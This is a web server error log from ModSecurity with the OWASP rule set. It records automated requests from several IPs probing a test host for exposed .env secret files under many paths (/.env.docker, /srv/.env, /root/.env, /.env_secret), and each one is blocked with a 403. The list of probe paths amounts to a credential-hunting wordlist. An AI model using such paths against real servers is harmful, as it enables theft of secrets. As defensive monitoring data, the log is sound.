[Fri Mar 20 16:14:03.308626 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kOxq8pDZXKMuYECLObAAAAAk"]
[Fri Mar 20 16:14:03.323099 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kO5JiwBXnNifSr5veugAAAAQ"]
[Fri Mar 20 16:14:03.323206 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kO5JiwBXnNifSr5veugAAAAQ"]
[Fri Mar 20 16:14:03.323328 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kO5JiwBXnNifSr5veugAAAAQ"]
[Fri Mar 20 16:14:03.326868 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.container"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yAAAAAE"]
[Fri Mar 20 16:14:03.327000 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yAAAAAE"]
[Fri Mar 20 16:14:03.327130 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yAAAAAE"]
[Fri Mar 20 16:14:03.332568 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SAAAAAU"]
[Fri Mar 20 16:14:03.332676 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SAAAAAU"]
[Fri Mar 20 16:14:03.332789 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SAAAAAU"]
[Fri Mar 20 16:14:03.351572 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kO2808gcmd_Zzq_-pBwAAABI"]
[Fri Mar 20 16:14:03.351682 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kO2808gcmd_Zzq_-pBwAAABI"]
[Fri Mar 20 16:14:03.351816 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kO2808gcmd_Zzq_-pBwAAABI"]
[Fri Mar 20 16:14:03.356902 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_4zwAAAAI"]
[Fri Mar 20 16:14:03.357000 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_4zwAAAAI"]
[Fri Mar 20 16:14:03.357125 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_4zwAAAAI"]
[Fri Mar 20 16:14:03.367992 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /srv/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0gAAAAA"]
[Fri Mar 20 16:14:03.368094 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0gAAAAA"]
[Fri Mar 20 16:14:03.368212 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0gAAAAA"]
[Fri Mar 20 16:14:03.375113 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yQAAAAE"]
[Fri Mar 20 16:14:03.375214 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yQAAAAE"]
[Fri Mar 20 16:14:03.375329 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1yQAAAAE"]
[Fri Mar 20 16:14:03.377777 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLwAAAAg"]
[Fri Mar 20 16:14:03.377891 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLwAAAAg"]
[Fri Mar 20 16:14:03.378010 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLwAAAAg"]
[Fri Mar 20 16:14:03.388413 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SQAAAAU"]
[Fri Mar 20 16:14:03.388516 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SQAAAAU"]
[Fri Mar 20 16:14:03.388631 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "ab1kO28zubx8zfwe9oW5SQAAAAU"]
[Fri Mar 20 16:14:03.397653 2026] [authz_core:error] [pid 2817640] [client 172.70.251.224:10067] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 20 16:14:03.399233 2026] [authz_core:error] [pid 2827214] [client 172.70.251.28:12899] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 20 16:14:03.412599 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /home/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_40AAAAAI"]
[Fri Mar 20 16:14:03.412721 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_40AAAAAI"]
[Fri Mar 20 16:14:03.412846 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/.env"] [unique_id "ab1kO_y1_WiwY9KfWu_40AAAAAI"]
[Fri Mar 20 16:14:03.420534 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0wAAAAA"]
[Fri Mar 20 16:14:03.420671 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0wAAAAA"]
[Fri Mar 20 16:14:03.420804 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0wAAAAA"]
[Fri Mar 20 16:14:03.422529 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1ygAAAAE"]
[Fri Mar 20 16:14:03.422628 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1ygAAAAE"]
[Fri Mar 20 16:14:03.422739 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_config"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1ygAAAAE"]
[Fri Mar 20 16:14:03.433247 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kOxq8pDZXKMuYECLObwAAAAk"]
[Fri Mar 20 16:14:03.433355 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kOxq8pDZXKMuYECLObwAAAAk"]
[Fri Mar 20 16:14:03.433479 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_secret"] [unique_id "ab1kOxq8pDZXKMuYECLObwAAAAk"]
